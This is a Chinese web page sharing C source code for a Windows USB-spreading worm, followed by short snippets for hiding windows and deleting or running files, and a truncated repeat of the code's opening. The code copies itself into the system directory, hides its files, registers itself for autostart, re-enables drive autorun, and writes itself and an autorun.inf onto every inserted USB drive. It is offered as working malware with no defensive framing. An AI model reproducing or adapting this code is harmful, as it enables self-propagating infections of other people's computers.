用C语言编写的病毒代码

用C语言编写的病毒代码

一个c病毒源代码
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);

//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表，实现自启动

//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path

//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;

wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盘盘符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盘
}
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
break;
}
return LRESULT();
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_Create: //处理一些要下面要用到的全局变量
U[1]=':';
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息
else
{
CopyToSysAndSet(hwnd);//拷到系统盘并自启动
}
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

TCHAR FirstDriveFromMask(ULONG unitmask)
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1)//看该驱动器的状态是否发生了变化
break;
unitmask = unitmask >> 1;
}
return (i + 'A');
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
{
return TRUE;
}
else
return FALSE;
}

BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
}

BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//检测自己有没有运行
{
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);//结束自己
}
}
return FALSE;
}

BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}

BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}

BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动
{
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录

TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}

BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open="<<szExeName<<" e"<<endl;
fout<<"shellexecute="<<szExeName<<" e"<<endl;
fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}

BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
} 隐藏窗口：ShowWindow(false); （#include <windows.h>)
将程序暂停一秒后继续执行：sleep(1000); （同上）
删除文件：system("del 文件的路径");
运行文件：system("文件的路径");
system函数（#include <iostream>)
复制文件：详见remove函数（#include <process.h>）

-----------------------------------------------------------
一个不错的病毒完整源代码
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);2013-09-10